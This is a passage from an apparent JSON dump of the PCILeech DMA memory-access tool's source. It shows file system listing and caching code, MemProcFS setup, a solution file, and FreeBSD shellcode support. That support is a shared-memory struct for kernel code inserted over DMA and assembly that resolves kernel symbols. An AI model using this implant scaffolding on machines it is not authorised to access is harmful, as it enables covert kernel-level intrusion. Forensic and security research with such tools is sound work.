pfnListCallback(pDir->pFilesU + i, ctx);\n            }\n            pDir = pDir->FLink;\n        }\n    }\n    Ob_DECREF(pObDir);\n    return TRUE;\n}\n\n/*\n* Retrieve information about a single entry inside a directory.\n* -- uszPath\n* -- uszFile\n* -- pVfsEntry\n* -- pfPathValid = receives if wszPath is valid or not.\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_GetSingle(_In_ LPSTR uszPath, _In_ LPSTR uszFile, _Out_ PVFS_ENTRY pVfsEntry, _Out_ PBOOL pfPathValid)\n{\n    DWORD i;\n    PVFSLIST_DIRECTORY pDir;\n    PVFSLISTOB_DIRECTORY pObDir;\n    *pfPathValid = FALSE;\n    if((pObDir = VfsList_GetDirectory(uszPath))) {\n        *pfPathValid = TRUE;\n        pDir = &pObDir->Dir;\n        while(pDir) {\n            for(i = 0; i < pDir->cFiles; i++) {\n                if(!_stricmp(uszFile, pDir->pFilesU[i].uszName)) {\n                    memcpy(pVfsEntry, pDir->pFilesU + i, sizeof(VFS_ENTRY));\n                    Ob_DECREF(pObDir);\n                    return TRUE;\n                }\n            }\n            pDir = pDir->FLink;\n        }\n        Ob_DECREF(pObDir);\n    }\n    return FALSE;\n}\n\n/*\n* Clear cached directory entries and/or files.\n* -- uszPath = the directory path to clear including/excluding file name.\n*/\nVOID VfsList_Clear(_In_ LPSTR uszPath)\n{\n    CHAR uszPathSplit[3 * MAX_PATH] = { 0 };\n    CharUtil_PathSplitLastEx(uszPath, uszPathSplit, _countof(uszPathSplit));\n    Ob_DECREF(ObCacheMap_RemoveByKey(g_ctxVfsList.pcm, CharUtil_HashPathFsU(uszPath)));\n    Ob_DECREF(ObCacheMap_RemoveByKey(g_ctxVfsList.pcm, CharUtil_HashPathFsU(uszPathSplit)));\n}\n\n#ifdef _WIN32\n\n_Success_(return)\nBOOL VfsList_EntryUtoW(_In_ PVFS_ENTRY peVfs, _Out_ PWIN32_FIND_DATAW pFindData)\n{\n    pFindData->dwFileAttributes = peVfs->dwFileAttributes;\n    pFindData->ftCreationTime = peVfs->ftCreationTime;\n    pFindData->ftLastAccessTime = peVfs->ftLastAccessTime;\n    pFindData->ftLastWriteTime = peVfs->ftLastWriteTime;\n    pFindData->nFileSizeHigh = (DWORD)(peVfs->cbFileSize >> 32);\n    pFindData->nFileSizeLow = (DWORD)(peVfs->cbFileSize);\n    CharUtil_UtoW(peVfs->uszName, -1, (PBYTE)pFindData->cFileName, sizeof(pFindData->cFileName), NULL, NULL, CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR | CHARUTIL_FLAG_STR_BUFONLY);\n    return TRUE;\n}\n\n/*\n* Retrieve information about a single entry inside a directory (Windows WCHAR version).\n* -- wszPath\n* -- wszFile\n* -- pFindData\n* -- pfPathValid = receives if wszPath is valid or not.\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_GetSingleW(_In_ LPWSTR wszPath, _In_ LPWSTR wszFile, _Out_ PWIN32_FIND_DATAW pFindData, _Out_ PBOOL pfPathValid)\n{\n    VFS_ENTRY eVfs;\n    LPSTR uszPath, uszFile;\n    BYTE pbBuffer1[2 * MAX_PATH], pbBuffer2[MAX_PATH];\n    if(!CharUtil_WtoU(wszPath, -1, pbBuffer1, sizeof(pbBuffer1), &uszPath, NULL, 0)) { return FALSE; }\n    if(!CharUtil_WtoU(wszFile, -1, pbBuffer2, sizeof(pbBuffer2), &uszFile, NULL, 0)) { return FALSE; }\n    if(!VfsList_GetSingle(uszPath, uszFile, &eVfs, pfPathValid)) { return FALSE; }\n    return VfsList_EntryUtoW(&eVfs, pFindData);\n}\n\n/*\n* List a directory using a callback function (Windows WCHAR version).\n* -- wszPath\n* -- ctx = optional context to pass along to callback function.\n* -- pfnListCallback = callback function called one time per directory entry.\n* -- return = TRUE if directory exists, otherwise FALSE.\n*/\nBOOL VfsList_ListDirectoryW(_In_ LPWSTR wszPath, _In_opt_ PVOID ctx, _In_opt_ PFN_VFSLISTW_CALLBACK pfnListCallback)\n{\n    DWORD i;\n    PVFSLIST_DIRECTORY pDir;\n    PVFSLISTOB_DIRECTORY pObDir;\n    WIN32_FIND_DATAW eFindData = { 0 };\n    LPSTR uszPath;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU(wszPath, -1, pbBuffer, sizeof(pbBuffer), &uszPath, NULL, 0)) { return FALSE; }\n    if(!(pObDir = VfsList_GetDirectory(uszPath))) { return FALSE; }\n    if(pfnListCallback) {\n        pDir = &pObDir->Dir;\n        while(pDir) {\n            for(i = 0; i < pDir->cFiles; i++) {\n                VfsList_EntryUtoW(pDir->pFilesU + i, &eFindData);\n                pfnListCallback(&eFindData, ctx);\n            }\n            pDir = pDir->FLink;\n        }\n    }\n    Ob_DECREF(pObDir);\n    return TRUE;\n}\n\n#endif /* _WIN32 */\n\n/*\n* Evaluate whether a given cachemap entry is still valid time wise.\n* -- H = not used\n* -- qwContext\n* -- qwKey\n* -- pvObject\n* -- return\n*/\nBOOL VfsList_ValidEntry(_In_opt_ VMM_HANDLE H, _Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVFSLISTOB_DIRECTORY pvObject)\n{\n    UNREFERENCED_PARAMETER(qwContext);\n    UNREFERENCED_PARAMETER(qwKey);\n    return pvObject->tc64 + g_ctxVfsList.qwCacheValidMs > GetTickCount64();\n}\n\n/*\n* Close and clean up the vfs list functionality.\n*/\nvoid VfsList_Close()\n{\n    Ob_DECREF(g_ctxVfsList.pcm);\n    if(g_ctxVfsList.fSingleThread) {\n        DeleteCriticalSection(&g_ctxVfsList.Lock);\n    }\n    ZeroMemory(&g_ctxVfsList, sizeof(VFSLIST_CONTEXT));\n}\n\n/*\n* Initialize the vfs list functionality.\n* -- pfnVfsListU\n* -- dwCacheValidMs\n* -- cCacheMaxEntries\n* -- fSingleThread = pfnVfsListU is single-threaded\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_Initialize(_In_ VFS_LIST_U_PFN pfnVfsListU, _In_ DWORD dwCacheValidMs, _In_ DWORD cCacheMaxEntries, _In_ BOOL fSingleThread)\n{\n    g_ctxVfsList.pcm = ObCacheMap_New(\n        NULL,\n        cCacheMaxEntries,\n        (BOOL(*)(VMM_HANDLE, PQWORD, QWORD, PVOID))VfsList_ValidEntry,\n        OB_CACHEMAP_FLAGS_OBJECT_OB\n    );\n    if(!g_ctxVfsList.pcm) { return FALSE; }\n    g_ctxVfsList.qwCacheValidMs = dwCacheValidMs;\n    g_ctxVfsList.pfnVfsListU = pfnVfsListU;\n    if(fSingleThread) {\n        InitializeCriticalSection(&g_ctxVfsList.Lock);\n        g_ctxVfsList.fSingleThread = TRUE;\n    }\n#ifdef _WIN32\n    SYSTEMTIME SystemTimeNow;\n    GetSystemTime(&SystemTimeNow);\n    SystemTimeToFileTime(&SystemTimeNow, &g_ctxVfsList.ftDefaultTime);\n#else\n    g_ctxVfsList.ftDefaultTime = (time(NULL) * 10000000) + 116444736000000000;\n#endif /* _WIN32 */\n    return TRUE;\n}\n"
  },
  {
    "path": "pcileech/vfslist.h",
    "content": "// vfslist.h : definitions related to virtual file system support.\n//\n// (c) Ulf Frisk, 2018-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __VFSLIST_H__\n#define __VFSLIST_H__\n\n#ifdef _WIN32\n#include <Windows.h>\ntypedef unsigned __int64                QWORD, *PQWORD;\n#else\n#include \"oscompatibility.h\"\n#endif /* _WIN32 */\n#include <vmmdll.h>\n\ntypedef struct tdVFS_ENTRY {\n    FILETIME ftCreationTime;\n    FILETIME ftLastAccessTime;\n    FILETIME ftLastWriteTime;\n    QWORD cbFileSize;\n    DWORD dwFileAttributes;\n    BOOL fDirectory;\n    CHAR uszName[2 * MAX_PATH];\n} VFS_ENTRY, *PVFS_ENTRY;\n\ntypedef void(*PFN_VFSLIST_CALLBACK)(_In_ PVFS_ENTRY pVfsEntry, _In_opt_ PVOID ctx);\n\n/*\n* Clear cached directory entries and/or files.\n* -- uszPath = the directory path to clear including/excluding file name.\n*/\nVOID VfsList_Clear(_In_ LPSTR uszPath);\n\n/*\n* Retrieve information about a single entry inside a directory.\n* -- uszPath\n* -- uszFile\n* -- pVfsEntry\n* -- pfPathValid = receives if wszPath is valid or not.\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_GetSingle(_In_ LPSTR uszPath, _In_ LPSTR uszFile, _Out_ PVFS_ENTRY pVfsEntry, _Out_ PBOOL pfPathValid);\n\n/*\n* List a directory using a callback function\n* -- uszPath\n* -- ctx = optional context to pass along to callback function.\n* -- pfnListCallback = callback function called one time per directory entry.\n* -- return = TRUE if directory exists, otherwise FALSE.\n*/\nBOOL VfsList_ListDirectory(_In_ LPSTR uszPath, _In_opt_ PVOID ctx, _In_opt_ PFN_VFSLIST_CALLBACK pfnListCallback);\n\n#ifdef _WIN32\n\ntypedef int(__stdcall *PFN_VFSLISTW_CALLBACK)(_In_ PWIN32_FIND_DATAW pFindData, _In_opt_ PVOID ctx);\n\n/*\n* Retrieve information about a single entry inside a directory (Windows WCHAR version).\n* -- wszPath\n* -- wszFile\n* -- pFindData\n* -- pfPathValid = receives if wszPath is valid or not.\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_GetSingleW(_In_ LPWSTR wszPath, _In_ LPWSTR wszFile, _Out_ PWIN32_FIND_DATAW pFindData, _Out_ PBOOL pfPathValid);\n\n/*\n* List a directory using a callback function (Windows WCHAR version).\n* -- wszPath\n* -- ctx = optional context to pass along to callback function.\n* -- pfnListCallback = callback function called one time per directory entry.\n* -- return = TRUE if directory exists, otherwise FALSE.\n*/\nBOOL VfsList_ListDirectoryW(_In_ LPWSTR wszPath, _In_opt_ PVOID ctx, _In_opt_ PFN_VFSLISTW_CALLBACK pfnListCallback);\n\n#endif /* _WIN32 */\n\n/*\n* typedef for VMMDLL_VfsListU function or any functions that may override it.\n*/\ntypedef BOOL(*VFS_LIST_U_PFN)(_In_ LPSTR  uszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList);\n\n/*\n* Initialize the vfs list functionality.\n* -- pfnVfsListU\n* -- dwCacheValidMs\n* -- cCacheMaxEntries\n* -- fSingleThread = pfnVfsListU is single-threaded\n* -- return\n*/\n_Success_(return)\nBOOL VfsList_Initialize(_In_ VFS_LIST_U_PFN pfnVfsListU, _In_ DWORD dwCacheValidMs, _In_ DWORD cCacheMaxEntries, _In_ BOOL fSingleThread);\n\n/*\n* Close and clean up the vfs list functionality.\n*/\nVOID VfsList_Close();\n\n#endif /* __VFSLIST_H__ */\n"
  },
  {
    "path": "pcileech/vmmx.c",
    "content": "// vmmx.h : implementation of external memory process file system functionality.\n//\n// (c) Ulf Frisk, 2020-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <stdio.h>\n#include <vmmdll.h>\n#include \"vmmx.h\"\n#include \"pcileech.h\"\n\n/*\n* Close an open MemProcFS instance.\n*/\nVOID Vmmx_Close()\n{\n    VMMDLL_Close(ctxMain->hVMM);\n    ctxMain->hVMM = NULL;\n}\n\n/*\n* Load the memory process file system mode using the default LeechCore device.\n* The memory process file system is initialized in either updating mode if the\n* fRefresh flag is set and the LeechCore memory is volatile; otherwise it's\n* started in non-updating mode.\n* -- fRefresh\n* -- fMemMapAuto\n* -- return\n*/\n_Success_(return)\nBOOL Vmmx_Initialize(_In_ BOOL fRefresh,  _In_ BOOL fMemMapAuto)\n{\n    DWORD cParams = 3;\n    LPCSTR szParams[] = { \"\", \"-device\", \"existing\", \"\", \"\", \"\" };\n    LPSTR uszLicensedTo = NULL;\n    BOOL fGPL;\n\n    if(!ctxMain->hVMM) {\n        uszLicensedTo = VMMDLL_LicensedTo();\n        fGPL = uszLicensedTo && strstr(uszLicensedTo, \"General Public License\") != NULL;\n        VMMDLL_MemFree(uszLicensedTo);\n        if(!fGPL) {\n            printf(\"[CRITICAL] License mis-match. Terminating.\\n\");\n            exit(1);\n            return FALSE;\n        }\n        if(fRefresh) {\n            szParams[cParams++] = \"-norefresh\";\n        }\n        if(fMemMapAuto) {\n            szParams[cParams++] = \"-memmap\";\n            szParams[cParams++] = \"auto\";\n        }\n        ctxMain->hVMM = VMMDLL_Initialize(cParams, szParams);\n        if(!ctxMain->hVMM) {\n            printf(\"MemProcFS: Failed to initialize memory process file system in call to vmm.dll!VMMDLL_Initialize\\n\");\n        }\n    }\n    return ctxMain->hVMM != NULL;\n}\n"
  },
  {
    "path": "pcileech/vmmx.h",
    "content": "// vmmx.h : definitions related to external memory process file system functionality.\n//\n// (c) Ulf Frisk, 2020-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __VMMX_H__\n#define __VMMX_H__\n#include <vmmdll.h>\n#include \"pcileech.h\"\n#include \"oscompatibility.h\"\n\n/*\n* Load the memory process file system mode using the default LeechCore device.\n* The memory process file system is initialized in either updating mode if the\n* fRefresh flag is set and the LeechCore memory is volatile; otherwise it's\n* started in non-updating mode.\n* -- fRefresh\n* -- fMemMapAuto\n* -- return\n*/\n_Success_(return)\nBOOL Vmmx_Initialize(_In_ BOOL fRefresh, _In_ BOOL fMemMapAuto);\n\n/*\n* Close an open MemProcFS instance.\n*/\nVOID Vmmx_Close();\n\n#endif /* __VMMX_H__ */\n"
  },
  {
    "path": "pcileech.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.28729.10\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"pcileech\", \"pcileech\\pcileech.vcxproj\", \"{DFFA1B4C-279B-4356-ADB1-08A6F4795931}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"pcileech_shellcode\", \"pcileech_shellcode\\pcileech_shellcode.vcxproj\", \"{5C698F13-6E9F-46F3-95FC-55376A65D8BF}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"Solution Items\", \"Solution Items\", \"{41BC2617-A896-4D63-9F5E-ED26C5A613B8}\"\n\tProjectSection(SolutionItems) = preProject\n\t\tLICENSE = LICENSE\n\t\treadme.md = readme.md\n\tEndProjectSection\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"pcileech_kmd\", \"pcileech_kmd\", \"{2A4F90E3-A543-4D9C-9F89-CBCE396AE08A}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"linux\", \"linux\", \"{2E5DAA3B-99A5-4493-B68B-B24153FCB6E4}\"\n\tProjectSection(SolutionItems) = preProject\n\t\tpcileech_kmd\\linux\\Makefile = pcileech_kmd\\linux\\Makefile\n\t\tpcileech_kmd\\linux\\pcileech_kmd.c = pcileech_kmd\\linux\\pcileech_kmd.c\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"USB3380Flash\", \"usb3380_flash\\windows\\USB3380Flash\\USB3380Flash.vcxproj\", \"{E11BECC1-685F-41B9-A352-A6127FAB3758}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"USB3380Flash_installer\", \"usb3380_flash\\windows\\USB3380Flash_Installer\\USB3380Flash_Installer.vcxproj\", \"{F2F4AA4A-BEFE-4738-9412-820007919334}\"\n\tProjectSection(ProjectDependencies) = postProject\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931} = {DFFA1B4C-279B-4356-ADB1-08A6F4795931}\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758} = {E11BECC1-685F-41B9-A352-A6127FAB3758}\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"leechcore\", \"..\\LeechCore\\leechcore\\leechcore.vcxproj\", \"{3476ABD2-5DEA-43E6-A676-8BE25F74535A}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"vmm\", \"..\\MemProcFS\\vmm\\vmm.vcxproj\", \"{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\t\tReleaseMT|x64 = ReleaseMT|x64\n\t\tReleaseMT|x86 = ReleaseMT|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.Build.0 = Debug|x64\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x86.Build.0 = Debug|Win32\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.ActiveCfg = Release|x64\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.Build.0 = Release|x64\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x86.ActiveCfg = Release|Win32\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x86.Build.0 = Release|Win32\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.ReleaseMT|x64.ActiveCfg = Release|x64\n\t\t{DFFA1B4C-279B-4356-ADB1-08A6F4795931}.ReleaseMT|x86.ActiveCfg = Debug|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Debug|x64.ActiveCfg = Release|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Debug|x86.ActiveCfg = Release|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Release|x64.ActiveCfg = Release|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Release|x86.ActiveCfg = Release|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.ReleaseMT|x64.ActiveCfg = Release|x64\n\t\t{5C698F13-6E9F-46F3-95FC-55376A65D8BF}.ReleaseMT|x86.ActiveCfg = Release|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.Debug|x86.ActiveCfg = Debug|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.Release|x64.ActiveCfg = Release|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.Release|x86.ActiveCfg = Release|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x64.ActiveCfg = ReleaseMT|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x64.Build.0 = ReleaseMT|x64\n\t\t{E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x86.ActiveCfg = ReleaseMT|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.Debug|x86.ActiveCfg = Debug|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.Release|x64.ActiveCfg = Release|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.Release|x86.ActiveCfg = Release|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x64.ActiveCfg = ReleaseMT|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x64.Build.0 = ReleaseMT|x64\n\t\t{F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x86.ActiveCfg = ReleaseMT|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x64.Build.0 = Debug|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x86.Build.0 = Debug|Win32\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x64.ActiveCfg = Release|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x64.Build.0 = Release|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x86.ActiveCfg = Release|Win32\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x86.Build.0 = Release|Win32\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.ReleaseMT|x64.ActiveCfg = Release|x64\n\t\t{3476ABD2-5DEA-43E6-A676-8BE25F74535A}.ReleaseMT|x86.ActiveCfg = Release|Win32\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x64.Build.0 = Debug|x64\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x86.Build.0 = Debug|Win32\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x64.ActiveCfg = Release|x64\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x64.Build.0 = Release|x64\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x86.ActiveCfg = Release|Win32\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x86.Build.0 = Release|Win32\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.ReleaseMT|x64.ActiveCfg = Release|x64\n\t\t{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.ReleaseMT|x86.ActiveCfg = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(NestedProjects) = preSolution\n\t\t{2A4F90E3-A543-4D9C-9F89-CBCE396AE08A} = {41BC2617-A896-4D63-9F5E-ED26C5A613B8}\n\t\t{2E5DAA3B-99A5-4493-B68B-B24153FCB6E4} = {2A4F90E3-A543-4D9C-9F89-CBCE396AE08A}\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {7D482A0F-DF96-4909-8C6B-8A4F6353DC23}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_common.c",
    "content": "// fbsdx64_common.c : support functions used by FreeBSD KMDs started by stage3 EXEC.\n// Compatible with FreeBSD x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#include \"fbsdx64_common.h\"\n"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_common.h",
    "content": "// fbsdx64_common.h : declarations of commonly used shellcode functions\n// Compatible with FreeBSD x64.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __FBSDX64_COMMON_H__\n#define __FBSDX64_COMMON_H__\n\n#include \"statuscodes.h\"\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\ntypedef unsigned long\t\t\tSTATUS;\n#define NULL\t\t\t\t\t((void *)0)\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tPVOID fn[32];\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\nextern QWORD SysVCall(QWORD fn, ...);\nextern QWORD LookupFunctionFreeBSD(PKMDDATA pk, CHAR szFunctionName[]);\nextern QWORD __curthread();\n#define curthread\t\t(__curthread())\n\n#endif /* __FBSDX64_COMMON_H__ */"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_common_a.asm",
    "content": "; fbsdx64_common_a.asm : assembly to receive execution from stage3 exec command.\n; Compatible with FreeBSD x64.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nmain PROTO\nLookupFunctionFreeBSD PROTO\nSysVCall PROTO\nEXTRN c_EntryPoint:NEAR\n\n; -------------------------------------\n; Code\n; -------------------------------------\n.CODE\n\nmain PROC\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN BSD KERNEL\n; destroyed registers :: rsi\n; rcx -> PKMDDATA\n; rdx -> rdi -> ptr to symbol/function str\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nLookupFunctionFreeBSD PROC\n\tPUSH rdi\n\tPUSH rsi\n\tMOV rdi, rdx\n\tMOV rcx, [rcx+58h]\t\t\t; [PKMDDATA->ReservedKMD]\n\tMOV rdx, rcx\t\t\t\t; [PKMDDATA->ReservedKMD]\n\tSUB rcx, 8\n\tloop_symsearch:\n\tSUB rcx, 18h\n\tMOV rax, [rcx]\n\tTEST rax, rax\n\tJZ error\n\tMOV esi, [rcx]\n\tADD rsi, rdx\n\tCALL strcmp_simple\n\tTEST rax, rax\n\tJNZ loop_symsearch\n\tMOV rax, [rcx+8]\n\tPOP rsi\n\tPOP rdi\n\tRET\n\terror:\n\tXOR rax, rax\n\tPOP rsi\n\tPOP rdi\n\tRET\nLookupFunctionFreeBSD ENDP\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux. A maximum of twelve (12)\n; parameters in addition to the function ptr can be supplied.\n; 